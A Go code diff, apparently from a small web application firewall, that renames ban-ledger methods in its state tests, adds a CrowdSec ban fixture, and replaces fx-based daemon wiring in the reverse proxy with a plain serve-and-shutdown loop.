netip.MustParsePrefix("203.0.113.9/32"),
|
netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
|
|
||||||
time.Sleep(5 * time.Second)
|
time.Sleep(5 * time.Second)
|
||||||
|
|
||||||
second, _ := params.Ledger.Ban(
|
second, _ := params.Ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("203.0.113.10/32"),
|
netip.MustParsePrefix("203.0.113.10/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
|
|
||||||
time.Sleep(5*time.Second - time.Nanosecond)
|
time.Sleep(5*time.Second - time.Nanosecond)
|
||||||
@@ -1318,19 +1318,19 @@ func TestBansWrittenOnceBansWriteDelayAfterABan(t *testing.T) {
|
|||||||
// the second ban. The other files wait for the interval, an hour
|
// the second ban. The other files wait for the interval, an hour
|
||||||
// away.
|
// away.
|
||||||
removeFiles(t, dir, bansJSON)
|
removeFiles(t, dir, bansJSON)
|
||||||
time.Sleep(params.BansWriteDelay)
|
time.Sleep(params.WriteDelay)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantFiles(t, dir)
|
wantFiles(t, dir)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEveryFileWrittenEveryWriteInterval(t *testing.T) {
|
func TestEveryFileWrittenEveryCounterInterval(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.WriteInterval = time.Minute
|
params.CounterInterval = time.Minute
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// The files are removed once written, so that each interval shows
|
// The files are removed once written, so that each interval shows
|
||||||
@@ -1354,21 +1354,21 @@ func TestEditJustBeforeAScheduledWriteSurvivesIt(t *testing.T) {
|
|||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.BansWriteDelay = 10 * time.Second
|
params.WriteDelay = 10 * time.Second
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// A ban, and bans.json written with it.
|
// A ban, and bans.json written with it.
|
||||||
params.Ledger.Ban(netip.MustParsePrefix("203.0.113.9/32"),
|
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
midnight(), bans.Grounds{Cause: bans.CauseLimit})
|
midnight(), bans.Notes{})
|
||||||
time.Sleep(params.BansWriteDelay)
|
time.Sleep(params.WriteDelay)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
// A second ban is to be written BansWriteDelay later. Just before
|
// A second ban is to be written WriteDelay later. Just before
|
||||||
// then, an admin saves bans.json with the first ban lifted and
|
// then, an admin saves bans.json with the first ban lifted and
|
||||||
// another added.
|
// another added.
|
||||||
params.Ledger.Ban(netip.MustParsePrefix("203.0.113.10/32"),
|
params.Ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"),
|
||||||
midnight(), bans.Grounds{Cause: bans.CauseLimit})
|
midnight(), bans.Notes{})
|
||||||
time.Sleep(params.BansWriteDelay - time.Nanosecond)
|
time.Sleep(params.WriteDelay - time.Nanosecond)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
edit(t, dir, bansJSON, permanentBansJSON)
|
edit(t, dir, bansJSON, permanentBansJSON)
|
||||||
|
|
||||||
@@ -1399,7 +1399,7 @@ func TestWriteThatFailsWhileRunningRaisesAFileErrorAlertOncePerCooldown(
|
|||||||
synctest.Test(t, func(t *testing.T) {
|
synctest.Test(t, func(t *testing.T) {
|
||||||
dir := t.TempDir()
|
dir := t.TempDir()
|
||||||
params := newParams(dir)
|
params := newParams(dir)
|
||||||
params.WriteInterval = time.Minute
|
params.CounterInterval = time.Minute
|
||||||
run(t, load(t, params).Run)
|
run(t, load(t, params).Run)
|
||||||
|
|
||||||
// A directory in the way of the temporary file of clients.json, a
|
// A directory in the way of the temporary file of clients.json, a
|
||||||
@@ -1483,10 +1483,10 @@ func TestFailedWriteLeavesTheFileAsItWas(t *testing.T) {
|
|||||||
t.Fatalf("mkdir: %v", err)
|
t.Fatalf("mkdir: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
params.Ledger.Ban(
|
params.Ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("203.0.113.9/32"),
|
netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
params.Limiter.Count(
|
params.Limiter.Count(
|
||||||
netip.MustParsePrefix("203.0.113.9/32"),
|
netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
@@ -1556,10 +1556,10 @@ func TestWritesAreCountedInTheMetrics(t *testing.T) {
|
|||||||
t.Fatalf("mkdir: %v", err)
|
t.Fatalf("mkdir: %v", err)
|
||||||
}
|
}
|
||||||
|
|
||||||
params.Ledger.Ban(
|
params.Ledger.BanForLimit(
|
||||||
netip.MustParsePrefix("203.0.113.9/32"),
|
netip.MustParsePrefix("203.0.113.9/32"),
|
||||||
midnight(),
|
midnight(),
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
bans.Notes{},
|
||||||
)
|
)
|
||||||
|
|
||||||
err = files.WriteAll()
|
err = files.WriteAll()
|
||||||
@@ -1701,7 +1701,7 @@ func TestEditOfEachFileTakenIn(t *testing.T) {
|
|||||||
t,
|
t,
|
||||||
lookupsJSON,
|
lookupsJSON,
|
||||||
params.GeoJS.Snapshot(),
|
params.GeoJS.Snapshot(),
|
||||||
[]geojs.Answer{
|
[]lookup.Answer{
|
||||||
{Client: client, Country: "FR", Answered: midnight()},
|
{Client: client, Country: "FR", Answered: midnight()},
|
||||||
},
|
},
|
||||||
)
|
)
|
||||||
@@ -2091,39 +2091,6 @@ func TestLiftedBanReadAtTheStart(t *testing.T) {
|
|||||||
wantLiftedBanKept(t, load(t, params), dir, params.Ledger)
|
wantLiftedBanKept(t, load(t, params), dir, params.Ledger)
|
||||||
}
|
}
|
||||||
|
|
||||||
func TestEndedAbuseIPDBBanForgottenWhenBansJSONIsReadAtTheStart(
|
|
||||||
t *testing.T,
|
|
||||||
) {
|
|
||||||
t.Parallel()
|
|
||||||
|
|
||||||
ended := netip.MustParsePrefix("203.0.113.9/32")
|
|
||||||
lasting := netip.MustParsePrefix("203.0.113.10/32")
|
|
||||||
limited := netip.MustParsePrefix("203.0.113.11/32")
|
|
||||||
|
|
||||||
// At midnight, the start's time, the first ban has ended and the second
|
|
||||||
// lasts. The third has ended too, but is for a limit.
|
|
||||||
dir := t.TempDir()
|
|
||||||
edit(t, dir, bansJSON, `{"version": 1, "bans": [`+
|
|
||||||
`{"netblock": "203.0.113.9/32", "start": "2026-09-06T00:00:00Z", `+
|
|
||||||
`"expires": "2026-10-06T00:00:00Z", "cause": "abuseipdb"}, `+
|
|
||||||
`{"netblock": "203.0.113.10/32", "start": "2026-09-07T00:00:00Z", `+
|
|
||||||
`"expires": "2026-10-07T00:00:00Z", "cause": "abuseipdb"}, `+
|
|
||||||
`{"netblock": "203.0.113.11/32", "start": "2026-10-05T00:00:00Z", `+
|
|
||||||
`"expires": "2026-10-05T01:00:00Z", "cause": "limit"}]}`)
|
|
||||||
|
|
||||||
params := newParams(dir)
|
|
||||||
load(t, params)
|
|
||||||
|
|
||||||
for netblock, want := range map[netip.Prefix]int{
|
|
||||||
ended: 0, lasting: 1, limited: 1,
|
|
||||||
} {
|
|
||||||
if got := len(params.Ledger.Bans(netblock)); got != want {
|
|
||||||
t.Errorf("the ledger holds %d bans on %s, want %d",
|
|
||||||
got, netblock, want)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
func TestBanLiftedByAnEditWhileRunning(t *testing.T) {
|
func TestBanLiftedByAnEditWhileRunning(t *testing.T) {
|
||||||
t.Parallel()
|
t.Parallel()
|
||||||
|
|
||||||
@@ -2135,11 +2102,7 @@ func TestBanLiftedByAnEditWhileRunning(t *testing.T) {
|
|||||||
|
|
||||||
// The ban that liftedBansJSON lifts, before it is lifted.
|
// The ban that liftedBansJSON lifts, before it is lifted.
|
||||||
netblock := netip.MustParsePrefix(liftedClient + "/32")
|
netblock := netip.MustParsePrefix(liftedClient + "/32")
|
||||||
params.Ledger.Ban(
|
params.Ledger.BanForLimit(netblock, midnight(), bans.Notes{})
|
||||||
netblock,
|
|
||||||
midnight(),
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
|
|
||||||
_, banned, _ := params.Ledger.Find(netblock.Addr(), afterLifting())
|
_, banned, _ := params.Ledger.Find(netblock.Addr(), afterLifting())
|
||||||
if !banned {
|
if !banned {
|
||||||
@@ -2436,24 +2399,26 @@ func newParams(dir string) state.Params {
|
|||||||
Events: alerts.Events(),
|
Events: alerts.Events(),
|
||||||
Cooldown: 15 * time.Minute,
|
Cooldown: 15 * time.Minute,
|
||||||
MaxPerHour: 2,
|
MaxPerHour: 2,
|
||||||
Instance: "host1/blog",
|
Instance: "fsn1app1/blog",
|
||||||
Now: midnight,
|
Now: midnight,
|
||||||
})
|
})
|
||||||
|
|
||||||
return state.Params{
|
return state.Params{
|
||||||
Dir: dir,
|
Dir: dir,
|
||||||
CacheDir: dir,
|
CacheDir: dir,
|
||||||
BansWriteDelay: time.Hour,
|
WriteDelay: time.Hour,
|
||||||
WriteInterval: time.Hour,
|
CounterInterval: time.Hour,
|
||||||
Ledger: bans.New(bans.Params{
|
Ledger: bans.New(bans.Params{
|
||||||
LimitBanDuration: time.Hour,
|
LimitBanDuration: time.Hour,
|
||||||
LimitBanRepeatWindow: 24 * time.Hour,
|
LimitBanRepeatWindow: 24 * time.Hour,
|
||||||
LimitBanPermanentAbove: 7 * 24 * time.Hour,
|
MaxBanDuration: 7 * 24 * time.Hour,
|
||||||
AttackBanDuration: 7 * 24 * time.Hour,
|
AttackBanDuration: 7 * 24 * time.Hour,
|
||||||
MaxBans: 5000,
|
MaxBans: 5000,
|
||||||
}),
|
}),
|
||||||
Limiter: ratelimit.New(ratelimit.Limits{}, 20000),
|
Limiter: ratelimit.New(ratelimit.Limits{}, 20000),
|
||||||
GeoJS: geojs.New(geojs.Params{Now: midnight}),
|
GeoJS: lookup.New(lookup.Params{
|
||||||
|
Now: midnight, ProcessLog: discard, Metrics: m,
|
||||||
|
}),
|
||||||
Lists: reputation.New(reputation.Params{
|
Lists: reputation.New(reputation.Params{
|
||||||
BlocklistURLs: []string{
|
BlocklistURLs: []string{
|
||||||
blocklistURL,
|
blocklistURL,
|
||||||
@@ -2482,7 +2447,7 @@ func newParams(dir string) state.Params {
|
|||||||
RequestsPerMinute: 1000,
|
RequestsPerMinute: 1000,
|
||||||
BytesPerMinute: 1 << 30,
|
BytesPerMinute: 1 << 30,
|
||||||
},
|
},
|
||||||
WatchedNet: anomaly.Thresholds{RequestsPerHour: 1000},
|
Watch: anomaly.Thresholds{RequestsPerHour: 1000},
|
||||||
NetV4Prefix: 24,
|
NetV4Prefix: 24,
|
||||||
NetV6Prefix: 48,
|
NetV6Prefix: 48,
|
||||||
NamedNetblocks: []anomaly.NamedNetblock{
|
NamedNetblocks: []anomaly.NamedNetblock{
|
||||||
@@ -2501,8 +2466,9 @@ func office() netip.Prefix {
|
|||||||
return netip.MustParsePrefix("203.0.113.0/24")
|
return netip.MustParsePrefix("203.0.113.0/24")
|
||||||
}
|
}
|
||||||
|
|
||||||
// fill puts a permanent ban an admin made, a ban for a broken limit and one
|
// fill puts a permanent ban an admin made, a ban for a broken limit, one
|
||||||
// for a clear sign of attack, clients with counts and histories,
|
// for a clear sign of attack and one for CrowdSec's decision, clients
|
||||||
|
// with counts and histories,
|
||||||
// GeoJS answers, the blocklists' last tries and the copy of one, two
|
// GeoJS answers, the blocklists' last tries and the copy of one, two
|
||||||
// verdicts of a DNSBL zone, the AbuseIPDB checks spent today with two
|
// verdicts of a DNSBL zone, the AbuseIPDB checks spent today with two
|
||||||
// scores, and two answers of routewatch, as filledListsJSON,
|
// scores, and two answers of routewatch, as filledListsJSON,
|
||||||
@@ -2514,15 +2480,18 @@ func fill(params state.Params) {
|
|||||||
client := netip.MustParsePrefix("203.0.113.9/32")
|
client := netip.MustParsePrefix("203.0.113.9/32")
|
||||||
|
|
||||||
params.Ledger.Load([]bans.Ban{permanentBan()})
|
params.Ledger.Load([]bans.Ban{permanentBan()})
|
||||||
params.Ledger.Ban(client, now, bans.Grounds{
|
params.Ledger.BanForLimit(client, now, bans.Notes{
|
||||||
Cause: bans.CauseLimit,
|
ASN: asn, ASName: asName, Country: "DE", Limit: 1,
|
||||||
Notes: bans.Notes{ASN: asn, ASName: asName, Country: "DE", Limit: 1},
|
|
||||||
})
|
|
||||||
params.Ledger.Ban(netip.MustParsePrefix("192.0.2.1/32"), now,
|
|
||||||
bans.Grounds{
|
|
||||||
Cause: bans.CauseAttack,
|
|
||||||
Notes: bans.Notes{RuleID: "env-file", Target: "path"},
|
|
||||||
})
|
})
|
||||||
|
params.Ledger.BanForAttack(netip.MustParsePrefix("192.0.2.1/32"), now,
|
||||||
|
bans.Notes{RuleID: "env-file", Target: "path"})
|
||||||
|
params.Ledger.BanForCrowdSec(
|
||||||
|
netip.MustParsePrefix("198.51.100.9/32"),
|
||||||
|
now,
|
||||||
|
now.Add(4*time.Hour),
|
||||||
|
"crowdsecurity/ssh-bf",
|
||||||
|
bans.Notes{},
|
||||||
|
)
|
||||||
|
|
||||||
for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} {
|
for _, c := range []string{"2001:db8::/64", "203.0.113.9/32", "192.0.2.1/32"} {
|
||||||
params.Limiter.Count(netip.MustParsePrefix(c), now, whole)
|
params.Limiter.Count(netip.MustParsePrefix(c), now, whole)
|
||||||
@@ -2534,7 +2503,7 @@ func fill(params state.Params) {
|
|||||||
})
|
})
|
||||||
params.Limiter.AddLookup(client, now.Add(-time.Hour), asn, asName, "DE")
|
params.Limiter.AddLookup(client, now.Add(-time.Hour), asn, asName, "DE")
|
||||||
|
|
||||||
params.GeoJS.Load([]geojs.Answer{
|
params.GeoJS.Load([]lookup.Answer{
|
||||||
{
|
{
|
||||||
Client: client, ASN: asn, ASName: asName, Country: "DE",
|
Client: client, ASN: asn, ASName: asName, Country: "DE",
|
||||||
Answered: now.Add(-time.Hour), Used: now,
|
Answered: now.Add(-time.Hour), Used: now,
|
||||||
@@ -2668,6 +2637,7 @@ func permanentBan() bans.Ban {
|
|||||||
Limit: 3,
|
Limit: 3,
|
||||||
Attack: 1,
|
Attack: 1,
|
||||||
Admin: 1,
|
Admin: 1,
|
||||||
|
CrowdSec: 2,
|
||||||
},
|
},
|
||||||
},
|
},
|
||||||
}
|
}
|
||||||
@@ -2708,11 +2678,7 @@ func wantLiftedBanKept(
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Were the lifted ban counted, the next would last three hours.
|
// Were the lifted ban counted, the next would last three hours.
|
||||||
ban, _ := ledger.Ban(
|
ban, _ := ledger.BanForLimit(netblock, afterLifting(), bans.Notes{})
|
||||||
netblock,
|
|
||||||
afterLifting(),
|
|
||||||
bans.Grounds{Cause: bans.CauseLimit},
|
|
||||||
)
|
|
||||||
if ban.Expires.Sub(ban.Start) != time.Hour {
|
if ban.Expires.Sub(ban.Start) != time.Hour {
|
||||||
t.Errorf(
|
t.Errorf(
|
||||||
"the next ban lasts %s, want 1h",
|
"the next ban lasts %s, want 1h",
|
||||||
|
|||||||
@@ -35,7 +35,7 @@ func TestHealthCheckInWAFsContainer(t *testing.T) {
|
|||||||
settings := map[string]string{
|
settings := map[string]string{
|
||||||
listenAddr: localhost + ":0",
|
listenAddr: localhost + ":0",
|
||||||
stateDir: t.TempDir(),
|
stateDir: t.TempDir(),
|
||||||
ruleFilesDir: t.TempDir(),
|
rulesDir: t.TempDir(),
|
||||||
}
|
}
|
||||||
|
|
||||||
go func() {
|
go func() {
|
||||||
@@ -120,12 +120,7 @@ func TestHealthCheckInRProxysContainer(t *testing.T) {
|
|||||||
|
|
||||||
// Another setting does not fail it, even an invalid one, and neither does
|
// Another setting does not fail it, even an invalid one, and neither does
|
||||||
// SWW_RPROXY_WAF_BACKEND being unset.
|
// SWW_RPROXY_WAF_BACKEND being unset.
|
||||||
wantHealthCheck(
|
wantHealthCheck(t, settings("SWW_RPROXY_TIMEOUT_MS", "soon"), 0, "")
|
||||||
t,
|
|
||||||
settings("SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS", "soon"),
|
|
||||||
0,
|
|
||||||
"",
|
|
||||||
)
|
|
||||||
|
|
||||||
// Another test can take a closed server's port at once, so the app's
|
// Another test can take a closed server's port at once, so the app's
|
||||||
// address here is a multicast address, to which TCP cannot connect.
|
// address here is a multicast address, to which TCP cannot connect.
|
||||||
|
|||||||
@@ -1,198 +0,0 @@
|
|||||||
package sww
|
|
||||||
|
|
||||||
import (
|
|
||||||
"context"
|
|
||||||
"errors"
|
|
||||||
"io"
|
|
||||||
"log/slog"
|
|
||||||
"net"
|
|
||||||
"net/http"
|
|
||||||
"time"
|
|
||||||
|
|
||||||
"go.uber.org/fx"
|
|
||||||
"go.uber.org/fx/fxevent"
|
|
||||||
)
|
|
||||||
|
|
||||||
// shutdownTimeout is how long requests in progress may take to finish
|
|
||||||
// once sww is told to stop, before their connections are closed.
|
|
||||||
// runit and docker wait a little longer before they kill the process.
|
|
||||||
const shutdownTimeout = 5 * time.Second
|
|
||||||
|
|
||||||
// requestLog is where a daemon's server writes the request log: stdout, and
|
|
||||||
// the remote log sender while there is one. fx tells parts apart by type, so
|
|
||||||
// it has a type of its own.
|
|
||||||
type requestLog struct {
|
|
||||||
io.Writer
|
|
||||||
}
|
|
||||||
|
|
||||||
// servingFailed gets why serving failed, for run, which then stops the
|
|
||||||
// daemon. fx tells parts apart by type, so it has a type of its own.
|
|
||||||
type servingFailed chan error
|
|
||||||
|
|
||||||
// utcNow is the time the state files, the alerts and the rate limits go by.
|
|
||||||
func utcNow() time.Time {
|
|
||||||
return time.Now().UTC()
|
|
||||||
}
|
|
||||||
|
|
||||||
// startError is why a daemon cannot start: the message its process log gives,
|
|
||||||
// and the error it logs with it.
|
|
||||||
type startError struct {
|
|
||||||
message string
|
|
||||||
err error
|
|
||||||
}
|
|
||||||
|
|
||||||
func (e startError) Error() string {
|
|
||||||
return e.message + ": " + e.err.Error()
|
|
||||||
}
|
|
||||||
|
|
||||||
func (e startError) Unwrap() error {
|
|
||||||
return e.err
|
|
||||||
}
|
|
||||||
|
|
||||||
// cannotStart logs why a daemon cannot start, with the message of the
|
|
||||||
// startError in err, and returns its exit status.
|
|
||||||
func cannotStart(processLog *slog.Logger, err error) int {
|
|
||||||
message, cause := "cannot start", err
|
|
||||||
|
|
||||||
failed, ok := errors.AsType[startError](err)
|
|
||||||
if ok {
|
|
||||||
message, cause = failed.message, failed.err
|
|
||||||
}
|
|
||||||
|
|
||||||
processLog.Error(message, "error", cause.Error())
|
|
||||||
|
|
||||||
return 1
|
|
||||||
}
|
|
||||||
|
|
||||||
// listen listens on address, which the setting names.
|
|
||||||
func listen(address, setting string) (net.Listener, error) {
|
|
||||||
listener, err := (&net.ListenConfig{}).Listen(
|
|
||||||
context.Background(), "tcp", address)
|
|
||||||
if err != nil {
|
|
||||||
return nil, startError{"cannot listen on " + setting, err}
|
|
||||||
}
|
|
||||||
|
|
||||||
return listener, nil
|
|
||||||
}
|
|
||||||
|
|
||||||
// background returns the hook that runs loop on a goroutine of its own from
|
|
||||||
// the start, and at the stop ends it and waits for it to return.
|
|
||||||
func background(loop func(context.Context)) fx.Hook {
|
|
||||||
running, stop := context.WithCancel(context.Background())
|
|
||||||
ended := make(chan struct{})
|
|
||||||
|
|
||||||
return fx.StartStopHook(
|
|
||||||
func() {
|
|
||||||
go func() {
|
|
||||||
loop(running)
|
|
||||||
close(ended)
|
|
||||||
}()
|
|
||||||
},
|
|
||||||
func() {
|
|
||||||
stop()
|
|
||||||
<-ended
|
|
||||||
},
|
|
||||||
)
|
|
||||||
}
|
|
||||||
|
|
||||||
// serve serves requests on listener from the start. At the stop it gives the
|
|
||||||
// requests in progress shutdownTimeout to finish, then closes their
|
|
||||||
// connections. When serving fails, it logs why and sends the error to
|
|
||||||
// failed.
|
|
||||||
func serve(
|
|
||||||
lc fx.Lifecycle, server *http.Server, listener net.Listener,
|
|
||||||
processLog *slog.Logger, failed servingFailed,
|
|
||||||
) {
|
|
||||||
served := make(chan error, 1)
|
|
||||||
|
|
||||||
lc.Append(fx.Hook{
|
|
||||||
OnStart: func(context.Context) error {
|
|
||||||
go func() {
|
|
||||||
err := server.Serve(listener)
|
|
||||||
if !errors.Is(err, http.ErrServerClosed) {
|
|
||||||
processLog.Error("serving failed", "error", err.Error())
|
|
||||||
|
|
||||||
failed <- err
|
|
||||||
}
|
|
||||||
|
|
||||||
served <- err
|
|
||||||
}()
|
|
||||||
|
|
||||||
return nil
|
|
||||||
},
|
|
||||||
OnStop: func(ctx context.Context) error {
|
|
||||||
processLog.Info("stopping")
|
|
||||||
|
|
||||||
shutdownCtx, cancel := context.WithTimeout(ctx, shutdownTimeout)
|
|
||||||
defer cancel()
|
|
||||||
|
|
||||||
err := server.Shutdown(shutdownCtx)
|
|
||||||
if err != nil {
|
|
||||||
processLog.Warn("requests still in progress were cut off",
|
|
||||||
"error", err.Error())
|
|
||||||
|
|
||||||
_ = server.Close()
|
|
||||||
}
|
|
||||||
|
|
||||||
err = <-served
|
|
||||||
if !errors.Is(err, http.ErrServerClosed) {
|
|
||||||
return err
|
|
||||||
}
|
|
||||||
|
|
||||||
return nil
|
|
||||||
},
|
|
||||||
})
|
|
||||||
}
|
|
||||||
|
|
||||||
// run starts app, which serves until ctx is done or serving fails, as
|
|
||||||
// failed tells. Then it stops app and takes the daemon's last step. It
|
|
||||||
// returns the process's exit status, 1 when serving failed, a part could
|
|
||||||
// not stop in order or the last step failed; each logs why.
|
|
||||||
func run(
|
|
||||||
ctx context.Context, app *fx.App, failed servingFailed,
|
|
||||||
processLog *slog.Logger, lastStep func() error,
|
|
||||||
) int {
|
|
||||||
// The hooks only start goroutines, and end them at the stop, so neither
|
|
||||||
// is cut short by a deadline or by ctx.
|
|
||||||
err := app.Start(context.WithoutCancel(ctx))
|
|
||||||
if err != nil {
|
|
||||||
return cannotStart(processLog, err)
|
|
||||||
}
|
|
||||||
|
|
||||||
status := 0
|
|
||||||
|
|
||||||
select {
|
|
||||||
case <-ctx.Done():
|
|
||||||
case <-failed:
|
|
||||||
status = 1
|
|
||||||
}
|
|
||||||
|
|
||||||
err = app.Stop(context.WithoutCancel(ctx))
|
|
||||||
if err != nil {
|
|
||||||
status = 1
|
|
||||||
}
|
|
||||||
|
|
||||||
err = lastStep()
|
|
||||||
if err != nil {
|
|
||||||
status = 1
|
|
||||||
}
|
|
||||||
|
|
||||||
if status == 0 {
|
|
||||||
processLog.Info("stopped")
|
|
||||||
}
|
|
||||||
|
|
||||||
return status
|
|
||||||
}
|
|
||||||
|
|
||||||
// fxEventLogger returns what fx.WithLogger takes to write fx's own events to
|
|
||||||
// processLog at debug, which the daemons' log levels normally hold back. Its
|
|
||||||
// errors are at debug too: the daemon logs each one itself.
|
|
||||||
func fxEventLogger(processLog *slog.Logger) func() fxevent.Logger {
|
|
||||||
return func() fxevent.Logger {
|
|
||||||
logger := &fxevent.SlogLogger{Logger: processLog}
|
|
||||||
logger.UseLogLevel(slog.LevelDebug)
|
|
||||||
logger.UseErrorLevel(slog.LevelDebug)
|
|
||||||
|
|
||||||
return logger
|
|
||||||
}
|
|
||||||
}
|
|
||||||
+67
-47
@@ -2,13 +2,12 @@ package sww
|
|||||||
|
|
||||||
import (
|
import (
|
||||||
"context"
|
"context"
|
||||||
|
"errors"
|
||||||
"log/slog"
|
"log/slog"
|
||||||
"net"
|
"net"
|
||||||
"net/http"
|
"net/http"
|
||||||
"os"
|
"os"
|
||||||
|
|
||||||
"go.uber.org/fx"
|
|
||||||
|
|
||||||
"sneak.berlin/go/smallwebwaf/internal/config"
|
"sneak.berlin/go/smallwebwaf/internal/config"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
"sneak.berlin/go/smallwebwaf/internal/requestlog"
|
||||||
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
"sneak.berlin/go/smallwebwaf/internal/rproxy"
|
||||||
@@ -16,11 +15,10 @@ import (
|
|||||||
|
|
||||||
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
// RunRProxy is `sww rproxy`: it reads rproxy's settings, then serves
|
||||||
// requests until ctx is done. Then it gives the requests in progress
|
// requests until ctx is done. Then it gives the requests in progress
|
||||||
// shutdownTimeout to finish, and the reports being sent
|
// shutdownTimeout to finish, and the reports being sent SWW_RPROXY_TIMEOUT_MS. It
|
||||||
// SWW_RPROXY_WAF_BACKEND_TIMEOUT_MS. It returns the process's exit status, 1
|
// returns the process's exit status, 1 when rproxy cannot start. Its process
|
||||||
// when rproxy cannot start. Its process messages name the host's name as
|
// messages name the host's name as instance, and it writes those at info or
|
||||||
// instance, and it writes those at info or more severe: rproxy has no
|
// more severe: rproxy has no setting for either.
|
||||||
// setting for either.
|
|
||||||
func RunRProxy(ctx context.Context, params Params) int {
|
func RunRProxy(ctx context.Context, params Params) int {
|
||||||
hostname, _ := os.Hostname() // "" when the host has no name to give
|
hostname, _ := os.Hostname() // "" when the host has no name to give
|
||||||
processLog := requestlog.NewProcessLogger(
|
processLog := requestlog.NewProcessLogger(
|
||||||
@@ -31,31 +29,26 @@ func RunRProxy(ctx context.Context, params Params) int {
|
|||||||
|
|
||||||
cfg, err := config.RProxyFromEnvironment(params.Viper)
|
cfg, err := config.RProxyFromEnvironment(params.Viper)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return cannotStart(processLog, startError{"invalid setting", err})
|
processLog.Error("invalid setting", "error", err.Error())
|
||||||
|
|
||||||
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
var (
|
server := rproxy.New(rproxy.Params{
|
||||||
server *rproxy.Server
|
Config: cfg,
|
||||||
listener net.Listener
|
RequestLog: params.Stdout,
|
||||||
)
|
ProcessLog: processLog,
|
||||||
|
})
|
||||||
|
|
||||||
failed := make(servingFailed, 1)
|
listener, err := (&net.ListenConfig{}).Listen(ctx, "tcp", cfg.ListenAddr)
|
||||||
|
|
||||||
app := fx.New(
|
|
||||||
fx.Supply(cfg, processLog, requestLog{params.Stdout}, failed),
|
|
||||||
fx.Provide(
|
|
||||||
newRProxyServer,
|
|
||||||
func(server *rproxy.Server) *http.Server { return server.Server },
|
|
||||||
newRProxyListener,
|
|
||||||
),
|
|
||||||
fx.Invoke(serve),
|
|
||||||
fx.Populate(&server, &listener),
|
|
||||||
fx.WithLogger(fxEventLogger(processLog)),
|
|
||||||
)
|
|
||||||
|
|
||||||
err = app.Err()
|
|
||||||
if err != nil {
|
if err != nil {
|
||||||
return cannotStart(processLog, err)
|
processLog.Error(
|
||||||
|
"cannot listen on SWW_RPROXY_LISTEN_ADDR",
|
||||||
|
"error",
|
||||||
|
err.Error(),
|
||||||
|
)
|
||||||
|
|
||||||
|
return 1
|
||||||
}
|
}
|
||||||
|
|
||||||
processLog.Info("starting",
|
processLog.Info("starting",
|
||||||
@@ -63,25 +56,52 @@ func RunRProxy(ctx context.Context, params Params) int {
|
|||||||
"address", listener.Addr().String(),
|
"address", listener.Addr().String(),
|
||||||
"settings", cfg)
|
"settings", cfg)
|
||||||
|
|
||||||
return run(ctx, app, failed, processLog, func() error {
|
return serveRProxy(ctx, server, listener, processLog)
|
||||||
|
}
|
||||||
|
|
||||||
|
// serveRProxy serves requests on listener until ctx is done, and then stops as
|
||||||
|
// RunRProxy says.
|
||||||
|
func serveRProxy(
|
||||||
|
ctx context.Context, server *rproxy.Server, listener net.Listener,
|
||||||
|
processLog *slog.Logger,
|
||||||
|
) int {
|
||||||
|
served := make(chan error, 1)
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
served <- server.Serve(listener)
|
||||||
|
}()
|
||||||
|
|
||||||
|
select {
|
||||||
|
case err := <-served:
|
||||||
|
processLog.Error("serving failed", "error", err.Error())
|
||||||
|
|
||||||
|
return 1
|
||||||
|
case <-ctx.Done():
|
||||||
|
}
|
||||||
|
|
||||||
|
processLog.Info("stopping")
|
||||||
|
|
||||||
|
shutdownCtx, cancel := context.WithTimeout(context.WithoutCancel(ctx),
|
||||||
|
shutdownTimeout)
|
||||||
|
defer cancel()
|
||||||
|
|
||||||
|
err := server.Shutdown(shutdownCtx)
|
||||||
|
if err != nil {
|
||||||
|
processLog.Warn("requests still in progress were cut off",
|
||||||
|
"error", err.Error())
|
||||||
|
|
||||||
|
_ = server.Close()
|
||||||
|
}
|
||||||
|
|
||||||
|
err = <-served
|
||||||
|
if !errors.Is(err, http.ErrServerClosed) {
|
||||||
|
processLog.Error("serving failed", "error", err.Error())
|
||||||
|
|
||||||
|
return 1
|
||||||
|
}
|
||||||
|
|
||||||
server.WaitForReports()
|
server.WaitForReports()
|
||||||
|
processLog.Info("stopped")
|
||||||
|
|
||||||
return nil
